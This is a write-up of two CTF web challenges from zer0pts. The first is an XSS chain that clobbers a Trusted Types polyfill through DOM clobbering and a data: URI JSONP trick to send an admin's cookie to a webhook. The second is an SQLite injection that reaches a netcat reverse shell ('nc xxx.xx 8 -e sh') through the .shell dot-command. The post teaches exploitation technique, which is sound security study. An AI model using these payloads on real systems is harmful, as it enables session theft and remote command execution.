Zer0pts challenges were well made and challenging. Shout out to all the web authors for coming up with these challenges, definitly learned more about client-side and server-side. Here are writeups for two of the challenges I worked on.

Simple Blog #

Now I am developing a blog service. I'm aware that there is a simple XSS. However, I introduced strong security mechanisms, named Content Security Policy and Trusted Types. So you cannot abuse the vulnerability in any modern browsers, including Firefox, right?

This challenge gives us a really obvious HTML injection marker and we have to find some way to convert that to full XSS. As it is PHP wtih no filtering, we see that the following will let us insert any HTML by simply closing out the tag. i.e "><h1>test</h1>.

<link  rel="stylesheet" href="/css/bootstrap-<?= $theme ?>.min.css">
<link  rel="stylesheet" href="/css/style.css">

The much more interesting function and what we have to bypass is the CSP which is given and a trusted types from the init function which is implemented through a polyfill. The CSP is implemented and trusted types are implemented via the following HTML.`

<meta  http-equiv="Content-Security-Policy"  content="default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-<?= $nonce ?>' 'strict-dynamic'; require-trusted-types-for 'script'; trusted-types default">
<script src="/js/trustedtypes.build.js" nonce="<?= $nonce ?>" data-csp="require-trusted-types-for 'script'; trusted-types default"></script>

The code which actually implements trustedTypes is the following.

    // initialize blog
    const init = () => {
      // try to register trusted types
      try {
        trustedTypes.createPolicy('default', {
          createHTML(url) {
            return url.replace(/[<>]/g, '');
          createScriptURL(url) {
            if (url.includes('callback')) {
              throw new Error('custom callback is unimplemented');

            return url;
      } catch {
        if (!trustedTypes.defaultPolicy) {
          throw new Error('failed to register default policy');

      // TODO: implement custom callback
      jsonp('/api.php', window.callback);


To quickly summarize trusted types, it restricts certain actions on the DOM. In this case, when some HTML is created, it replaces <> and when a new script is created the src url is passed through the createScriptURL function.

Now let’s think about how we can bypass this. Our goal should be to be able to create a script with a src to the JSONP endpoint and be able to control the actual response. The first problem we face is trusted types. No matter what we do, be it HTML injection or manipulating the javascript, we will not be able to call the JSONP endpoint with ?callback=ourpayload because of trusted types. How can we bypass this? The important note here is that the admin is running Firefox. As of writing this blog, Firefox has not implemented trusted types by default, hence the need for the polyfill. What this also means is that the trustedTypes object referenced by the javascript is not a native call.

The first idea that came to mind was if we can abuse the fact that it is in a try catch. If we could somehow make it fail and not raise an error, we would be able to create script tags with the ?callback parameter. In order to do this, we can use DOM clobbering. If the following HTML is injected into the page, trustedTypes will look at the HTML element and not the trustedTypes from the javascript.

<form id=trustedTypes></form>

However, this is not enough because the catch will still raise an Error and we still won’t be able to call the JSONP endpoint. However, if we can make !trustedTypes.defaultPolicy to be true then the Error will not be raised. This means we can simply make our DOM clobber to be the following and we will effectively disable trusted types in Firefox.

<form id=trustedTypes><output id=defaultPolicy>

Finally, we can DOM clobber callback and that will be passed to jsonp('/api.php', window.callback); which will let us create a script element with ?callback=ourpayload. In order to do this 1 level clobber, I used the following format which will get rid of the automatic https:// appended to the payload.

<a id=callback href=a:alert(1);>

This is where another really neat trick comes in. The PHP code limits our callback payload to 20 characters and it is not nearly enough to execute the javascript needed to exfil the flag. The following is from the official writeup here and allows executing payloads longer than 20 characters. What we can do is instead of putting our payload in the callback, we create a script tag using the data: uri using the jsonp() function.

The payload passed to the callback parameter would look like this. <a href="a:jsonp(x)" id="callback"></a>

And using our HTML injection, we can add another element like this. <a href="data:text/plain;base64,(Base64 encoded script)" id="x"></a>

Our final URL sent to the admin looks like the following.

http://web.ctf.zer0pts.com:8003/?theme="><a id=callback href=a:jsonp(x)><form id=trustedTypes><output id=defaultPolicy><a href="data:text/plain;base64,(b64payload)" id="x"></a>

The content of the payload would be the following base64 encoded and we would get the cookie to our webhook.


Overall this was a very neat challenge in bypassing trusted types with DOM clobbering. The use of data decoding base64 inline is a cool idea and something to keep in mind for bypassing WAFs in the future.

Baby SQLi #

Just login as admin.

This challenge was based around sql injection but in a very interesting and different manner. The core functionality was just a login page with a sqlite database backend. The most important code segments are the following.

def sqlite3_query(sql):
    p = subprocess.Popen(['sqlite3', 'database.db'],
    o, e = p.communicate(sql.encode())
    if e:
        raise Exception(e)
    result = []
    for row in o.decode().split('\n'):
        if row == '': break
    return result

def sqlite3_escape(s):
    return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)

def auth():
    # snip
    password_hash = hashlib.sha256(password.encode()).hexdigest()
    result = None
        result = sqlite3_query(
            'SELECT * FROM users WHERE username="{}" AND password="{}";'
            .format(sqlite3_escape(username), password_hash)

    # snip

Summarizing the code, our username is passed to sqlite3_escape, formatted into a query, and sent to sqlite3_query. One thing to note here is that the escaping function adds a \ infront of the block listed characters. In addition, the way the query is ran is not through a sqlite3 library but rather with a Process.

Let’s break this down one at a time. First, how are we even able to inject SQL? After a bit of googling, we found that sqlite escapes characters via double quotations, i.e "a escaped "" wow". This will properly escape the quotation mark. However, as we looked at earlier the sqlite3_escape method adds backslashes.

With this in mind, we are now able to craft queries like the following.

SELECT * FROM users WHERE username="alice\"" AND password="asdf"

This doesn’t properly escape the quotation mark, rather it just throws an error. Now we can inject a semicolon and exit the statement! If our payload is ";, our query now becomes the following.

SELECT * FROM users WHERE username="alice\";" AND password="asdf"

To make this exploitable, we used some attributes from the allow list. Two interesting things is that all whitespace (spaces, tabs, newlines) are allowed and periods (.) are allowed. We know that sqlite has special commands for statements that start with periods so we can think about how to exploit this.

What we ended up doing was adding a newline, calling the .shell function with arguments we wanted, and adding a final newline to get rid of the junk. This works because a newline is interpreted as a new command to the process. Although individual lines may error, the process is still running and thus our commands would still go through.

Our final payload was the following and has some tricks to make it smaller to reach the character limit where xxx.xx is your domain.

";\n.shell nc xxx.xx 8 -e sh\n

There are some things to address about our payload. First, why are we able to include a -e when it would become \-e and not work? This was discovered during testing by a teammate but we found that the .shell command actually expands the backslashes. This means it will actually become -e when the command is executed.

Second, there are some optimizations to the nc reverse shell. The two main things were using a small port (8) and using sh instead of /bin/sh. Port 8 works but the listener must be run with sudo due to it not being a typically used port. The optimization to use sh came from local testing. I cannot say how important local testing is! If you are given the docker environment, like many of the zer0pts challenges were, always run the docker and try stuff out locally. You never know what you may find.

With this final payload, we are able to get a shell on the system and cat index.html for the flag. The description was a bit misleading as we needed RCE not just a typical sql injection but a very interesting challenge overall.